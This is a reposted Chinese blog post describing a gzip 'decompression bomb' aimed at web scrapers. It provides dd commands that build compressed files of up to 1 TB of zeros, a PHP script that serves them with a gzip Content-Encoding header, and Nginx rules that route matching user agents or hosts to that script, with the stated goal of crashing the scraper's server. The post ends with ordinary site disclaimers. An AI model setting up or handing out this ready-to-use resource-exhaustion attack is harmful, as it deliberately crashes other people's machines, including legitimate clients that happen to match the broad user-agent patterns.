【转载】应对网站被频繁采集 消耗对方的资源

网络 2023-05-17 本文共1145个字,预计耗時3分钟 534次阅读
文章摘要:一般对于那些采集不听劝或者比较恶意的UA什么的,换着花样来访问的,那就换个脏的玩法,反正不听劝 那就给服务器上加个逻辑技(zha)术(dan): 知道某个请求是爬虫发来的了,不满足于单单屏蔽对方,而是想搞死对方,那就玩点脏的! 1.linu...

【转载】应对网站被频繁采集 消耗对方的资源

一般对于那些采集不听劝或者比较恶意的UA什么的,换着花样来访问的,那就换个脏的玩法,反正不听劝

那就给服务器上加个逻辑技(zha)术(dan):

知道某个请求是爬虫发来的了,不满足于单单屏蔽对方,而是想搞死对方,那就玩点脏的!

1.linux超大文件(炸弹)制作在Linux中,使用以下命令:

dd if=/dev/zero bs=1M count=1024 | gzip > 1G.gzip
//制作1G文件
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
//制作10G文件
dd if=/dev/zero bs=1M count=1048576 | gzip > 1T.gzip
//制作1T文件

我一般都做个1T的

2.PHP调用返回文件代码(404.php)

<?php
header('Content-Encoding: gzip');
echo file_get_contents('1T.gzip');
?>

3.Nginx添加配置返回脏弹

伪静态配置:

location / {
  if ($http_user_agent ~* "(SemrushBot|Semrush|python|java|Go-http-client)") {
    rewrite ^/.*  /404.php last;
  }
}

(SemrushBot|Semrush|python|java|Go-http-client)为恶意UA匹配,自由发挥

当然如果知道是来自哪里的采集也可以去全局配置文件里面写:

if ($host ~ '^www.a.com|IP'){
     rewrite ^/.*  /404.php last;
   }

还是谨慎点使用比较好,实测有效,简单科普一下:

一般网站服务器会使用 gzip 压缩一些资文件源,这些资源在网络上传输的时候,是压缩后的二进制格式。客户端收到返回以后,如果发现返回的Headers里面有一个字段叫做 Content-Encoding ,其中的值包含 gzip ,那么客户端就会先使用 gzip 对数据进行解压,解压完成以后再把它呈现到客户端上面。

浏览器自动就会做这个事情,用户是感知不到这个事情发生的。而 requests 、 Scrapy 这种网络请求库或者爬虫框架,也会帮你做这个事情,因此你不需要手动对网站返回的数据解压缩。如果我们把一个1GB的文件压缩成1MB,那么对服务器来说,仅仅是返回了1MB的二进制数据,不会造成任何影响。但是对客户端或者爬虫来说,它拿到这个1MB的数据以后,就会在内存中把它还原成1GB的内容。如果我们进一步增大原始数据,很容易就可以把爬虫所在的服务器内存全部沾满,轻者服务器直接杀死爬虫进程,重则爬虫服务器直接死机。

****所以安排好了别自己测试,后果自负!所以安排好了别自己测试,后果自负!所以安排好了别自己测试,后果自负!

版权免责申明
① 本站源码模板等资源SVIP用户永久不限量免费下载
② 所有资源来源于网络收集,如有侵权,请联系站长进行删除处理。
③ 分享目的仅供大家学习和交流,请不要用于商业用途,否则后果自负。
④ 如果你有源码需要出售,可以联系管理详谈。
⑤ 本站提供的源码、模板、插件等等资源,都不包含技术服务请大家谅解。
⑥ 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需。
⑦ 在您的能力范围内,为了大环境的良性发展,请尽可能的选择正版资源。
⑧ 网站资源绝不做任何二次加密或添加后门(原版加密除外)
常见问题F&Q
需要积分的资源怎么下载?
您可以注册后签到等活跃动作获得积分,积分可下载,也可充值升级等级免费下载。
源码模板等文件安全吗?有没有后门病毒吗?
站内资源标有“已测试”标签的资源源码,表示已经在本地安装测试调试过才分享出来的,可以保证一定的安全;若不放心可以自行下载模板资源后使用D盾等查杀工具扫一遍确认安全。
本站网站模板等源码提供安装服务吗?
本站资源收集于网络并分享出来共同学习,不提供免费安装服务,模板源码安装等需要有一定熟悉度,小白用户可以下载资源后雇人安装调试。